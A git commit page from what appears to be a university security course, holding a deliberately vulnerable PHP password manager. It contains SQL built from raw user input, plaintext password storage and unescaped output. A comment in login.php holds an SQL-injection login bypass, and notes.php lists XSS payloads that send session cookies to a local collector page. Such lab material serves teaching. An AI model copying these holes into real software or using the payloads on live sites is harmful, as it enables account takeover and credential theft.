hoo2/InformationSystemsSecurity
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Init commit with passman (and XSS) files aranged as a deployed environment

Browse Source
This commit is contained in:
hoo2
2026-01-10 17:56:35 +02:00
commit 61c777f33a
14 changed files with 828 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
passman-dev/php/passman/dashboard.php
+126
View File
@@ -0,0 +1,126 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<style>
table {
border-collapse: collapse;
width: 30%;
border: 1px solid black;
}
td, tr {
width: 50%;
padding: 8px;
text-align: left;
}
</style>
</head>
<?php
// Resume existing session (or start a new one)
session_start();
// If not logged in redirect to login page
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
header("Location: login.php");
exit;
}
$username = $_SESSION['username'];
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// Check if 'Insert-new-website' button is selected
if(isset($_POST['new_website'], $_POST['new_username'], $_POST['new_password']) &&
trim($_POST['new_website']) !='' && trim($_POST['new_username']) != '' && trim($_POST['new_password']) != '') {
$new_website = trim($_POST["new_website"]);
$new_username = trim($_POST["new_username"]);
$new_password = trim($_POST["new_password"]);
// Insert new web site
$sql_query = "INSERT INTO websites (login_user_id,web_url,web_username,web_password) VALUES " .
"((SELECT id FROM login_users WHERE username='{$username}'),'{$new_website}','{$new_username}','{$new_password}');";
//echo $sql_query;
$result = $conn->query($sql_query);
$conn -> close();
// After processing, redirect to the same page to clear the form
unset($_POST['new_website']);
unset($_POST['new_username']);
unset($_POST['new_password']);
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Check if 'Delete-website' button was selected
if(isset($_POST['delete_website']) && trim($_POST["websiteid"] != '')) {
$webid = trim($_POST["websiteid"]);
// Delete selected web site
$sql_query = "DELETE FROM websites WHERE webid='{$webid}';";
//echo $sql_query;
$result = $conn->query($sql_query);
$conn -> close();
// After processing, redirect to the same page to clear the form
unset($_POST['websiteid']);
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Display list of user's web sites
$sql_query = "SELECT * FROM websites INNER JOIN login_users ON websites.login_user_id=login_users.id WHERE login_users.username='{$username}';";
//echo $sql_query;
$result = $conn->query($sql_query);
//echo htmlspecialchars($username);
echo "<h3>Entries of " . $username . "</h3>";
if (!empty($result) && $result->num_rows >= 1) {
while ($row = $result -> fetch_assoc()) {
echo "<table border=0>";
echo "<tr style='background-color: #f4f4f4;'><td colspan=2>" . $row["web_url"] . "</td></tr>" .
"<tr><td>Username: " . $row["web_username"] . "</td><td>Password: " . $row["web_password"] . "</td></tr>";
echo "<tr><td><form method='POST' style='height: 3px'>" .
"<input type='hidden' name='websiteid' value='" . $row["webid"] . "'>" .
"<button type='submit' name='delete_website'>Delete</button></form></td></tr>";
echo "<tr><td colspan=2 style=height: 20px;></td></tr>";
echo "</table><p/>";
}
// Free result set
$result -> free_result();
} else {
echo "<p><font color=red>No entries found.</font></p>";
}
$conn -> close();
?>
<body>
<p/>
<form method="POST" action="dashboard.php">
<input type="text" name="new_website" placeholder="website"><br />
<input type="text" name="new_username" placeholder="Username"><br />
<input type="password" name="new_password" placeholder="Password"><br />
<button type="submit">Insert new website</button>
</form>
<p/>
<a href="notes.php">Notes - announcements</a>
<p/>
<a href="logout.php">Logout</a>
<p/>
<a href="index.html">Home page</a>
</body>
</html>
passman-dev/php/passman/index.html
+59
View File
@@ -0,0 +1,59 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Password Manager</title>
</head>
<body>
<h3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Password Manager - AUTH-ECE - 2025-2026</h3>
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List of Password Manager pages:
<br />
<ul>
<li>
<a href="http://localhost/passman/register.php">Registration Form</a>
</li>
<br />
<li>
<a href="http://localhost/passman/login.php">Login Page</a>
</li>
<br />
<li>
<a href="http://localhost/passman/logout.php">Logout Page</a>
</li>
<br />
<li>
<a href="http://localhost/passman/dashboard.php">Dashboard</a> (display passwords for websites)
</li>
<br />
<li>
<a href="http://localhost/passman/notes.php">Notes</a> (notes/comments/announcements)
</li>
<br />
</ul>
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Testing useful functions:
<br />
<ul>
<li>
Test <a href="http://localhost/passman/test_hash.php">hashing</a> functions in PHP (server side)
</li>
<br />
<li>
Test <a href="http://localhost/passman/test_encrypt.php">encrypting/decrypting</a> functions in PHP (server side)
</li>
<br />
</ul>
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hacker's side (for using stealing cookies using XSS):
<a href="http://localhost/passman/xss">http://localhost/passman/xss</a>
<br />
</body>
</html>
passman-dev/php/passman/login.php
+89
View File
@@ -0,0 +1,89 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
</head>
<?php
// Start a new session (or resume an existing one)
session_start();
// Check if the user is already logged in
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true && $_SESSION['username'] !== '') {
// Redirect to the dashboard page
header("Location: dashboard.php");
exit;
}
if ($_SERVER["REQUEST_METHOD"] === "POST") {
if(!isset($_POST['username'], $_POST['password']) || trim($_POST['username']) =='' || trim($_POST['password']) == '') {
$login_message = "Missing username or password.";
}
else {
// Get user submitted information
$username = trim($_POST['username']);
$password = trim($_POST['password']);
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// xxx' OR 1=1; -- '
$sql_query = "SELECT * FROM login_users WHERE username='{$username}' AND password='{$password}';";
//echo $sql_query;
// Check if the credentials are valid
$result = $conn->query($sql_query);
unset($_POST['username']);
unset($_POST['password']);
if (!empty($result) && $result->num_rows >= 1) {
// Regenerate session ID to prevent session fixation!
//session_regenerate_id(true);
// Successfully logged in
$_SESSION['username'] = $username;
$_SESSION['loggedin'] = true;
//while ($row = $result -> fetch_assoc()) {
// print_r($row);
// $_SESSION['user_id'] = $row['id'];
//}
// Free result set
$result -> free_result();
$conn -> close();
// Redirect to a dashboard page
header("Location: dashboard.php");
exit;
} else {
$login_message = "Invalid username or password";
}
$conn -> close();
}
}
?>
<body>
<h3>Password Manager</h3>
<form method="POST" action="">
<input type="text" name="username" placeholder="Username" required><br />
<input type="password" name="password" placeholder="Password"><br />
<button type="submit">Login</button>
</form>
<br />
<?php if (!empty($login_message)) { echo "<font color=red>$login_message</font>"; } ?>
<p/>
<a href="register.php">Register new user</a>
<p/>
<a href="index.html">Home page</a>
</body>
</html>
passman-dev/php/passman/logout.php
+24
View File
@@ -0,0 +1,24 @@
<?php
// Resume existing session (or start a new one)
session_start();
// Destroy the session in case of using session-based authentication
session_unset(); // Unset all session variables
session_destroy(); // Destroy the session
//redirect to the login page
echo '<script>window.location.href = "login.php";</script>';
exit();
/*
if (session_status() !== PHP_SESSION_ACTIVE) :void
{
session_start();
session_unset();
session_destroy();
session_write_close();
setcookie(session_name(), '', 0, '/');
session_regenerate_id(true);
}
*/
?>
passman-dev/php/passman/notes.php
+173
View File
@@ -0,0 +1,173 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Notes - Comments</title>
<style>
form {
max-width: 500px;
margin: 20px 0;
padding: 20px;
border: 1px solid #ccc;
background-color: #f9f9f9;
text-align: left;
}
label {
font-size: 1.1em;
margin-bottom: 10px;
display: inline-block;
}
textarea {
width: 100%;
height: 150px;
padding: 10px;
font-size: 1em;
border: 1px solid #ccc;
resize: vertical;
text-align: left;
}
button {
padding: 10px 20px;
font-size: 1em;
background-color: #4CAF50;
color: white;
border: none;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 20px;
}
.note {
width: 510px;
background-color: #f9f9f9;
border: 1px solid #ddd;
padding: 15px;
margin-bottom: 15px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.note-content {
font-size: 1.2em;
color: #333;
}
.note-signature {
text-align: right;
font-size: 0.9em;
color: #666;
margin-top: 10px;
font-style: italic;
}
</style>
</head>
<?php
// Resume existing session (or start a new one)
session_start();
// If not logged in redirect to login page
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
header("Location: login.php");
exit;
}
$username = $_SESSION['username'];
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// Check if new note is entered and add it
if(isset($_POST['new_note']) && trim($_POST['new_note']) !='') {
$new_note = trim($_POST["new_note"]);
/*
XSS using alert(2)<script>alert(2);</script>
XSS using string.fromCharCode with ASCII codes<script>alert(String.fromCharCode(88,83,83,32,117,115,105,110,103,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101));</script>
XSS eval of Hex Unicode Escape Sequences<script>eval("\u0061\u006c\u0065\u0072\u0074(\u0022\u0058\u0053\u0053\u0020\u0075\u0073\u0069\u006e\u0067\u0020\u0065\u0076\u0061\u006c\u0022)");</script>
XSS console cookie<script>console.log(document.cookie);alert(document.cookie);</script>
XSS steal cookie with fetch
<script>
fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)
.then(response => response.text())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(`Error fetching data:`, error);
});
</script>
XSS steal cookie with simpler fetch<script>fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)</script>
or<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
// HAS PROBLEM: XSS steal cookie with href redirection<script>window.location.href=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;</script>
// HAS PROBLEM: XSS steal cookie with img on-error<img src=x onerror=this.src=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;>
*/
// Insert new note
//$sql_query = "INSERT INTO notes (login_user_id,note) VALUES " .
// "((SELECT id FROM login_users WHERE username='{$username}'),('{$new_note}'));";
$sql_query = "INSERT INTO notes (login_user_id, note) ".
"VALUES ((SELECT id FROM login_users WHERE username='{$username}'), '{$new_note}')";
//echo $sql_query;
$result = $conn->query($sql_query);
$conn -> close();
// After processing, redirect to the same page to clear the form
unset($_POST['new_note']);
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Display list of all notes/comments
$sql_query = "SELECT notes.note, login_users.username FROM notes INNER JOIN login_users ON notes.login_user_id=login_users.id;";
//echo $sql_query;
$result = $conn->query($sql_query);
echo "<h3>List of notes/comments</h3>";
if (!empty($result) && $result->num_rows >= 1) {
while ($row = $result -> fetch_assoc()) {
echo "<div class='note'>";
echo "<div class='note-content'>" . $row["note"] . "</div>";
echo "<div class='note-signature'> by " . $row["username"] . "</div>";
echo "</div>";
}
// Free result set
$result -> free_result();
} else {
echo "<p><font color=red>No entries found.</font></p>";
}
$conn -> close();
?>
<body>
<p/>
<form method="POST">
<label for="note">Enter your note:</label><br>
<textarea id="note" name="new_note" placeholder="Write your note here..." required></textarea><br><br>
<button type="submit">Submit Note</button>
</form>
<a href="dashboard.php">Dashboard</a>
<p/>
<a href="logout.php">Logout</a>
</body>
</html>
passman-dev/php/passman/register.php
+83
View File
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Registration Form</title>
</head>
<body>
<h3>New user registration</h3>
<?php
// Start a new session (or resume an existing one)
session_start();
// Check if the user is already logged in
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true && $_SESSION['username'] !== '') {
echo "<font color=red>You are already logged in!</font></br>";
echo "Please <a href='logout.php'>logout</a> first";
exit;
}
if ($_SERVER["REQUEST_METHOD"] === "POST") {
if(!isset($_POST['new_username'], $_POST['new_password']) || trim($_POST['new_username']) =='' || trim($_POST['new_password']) == '') {
$login_message = "Missing username or password.";
}
else {
// Get user submitted information
$new_username = trim($_POST['new_username']);
$new_password = trim($_POST['new_password']);
mysqli_report(MYSQLI_REPORT_OFF); // disable exceptions
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// Insert a new user
$sql_query = "INSERT INTO login_users (username,password) VALUES ('{$new_username}','{$new_password}');";
//echo $sql_query;
$result = $conn->query($sql_query);
unset($_POST['new_username']);
unset($_POST['new_password']);
if ($result == true) {
echo "<font color=red>Successful registration!</font>";
echo "<p />You can now use the <a href='login.php'>login</a> page";
exit;
}
else
$login_message = "Error, probably user already exists!";
// Free result set
$conn -> close();
}
}
?>
<body>
<p/>
<form method="POST" action="register.php">
<input type="text" name="new_username" placeholder="Username"><br />
<input type="password" name="new_password" placeholder="Password"><br />
<button type="submit">Register</button>
</form>
<br />
<?php
if (!empty($login_message)) {
echo "<font color=red>$login_message</font>";
echo "<p />Go to the <a href='login.php'>login</a> page";
}
?>
</body>
</html>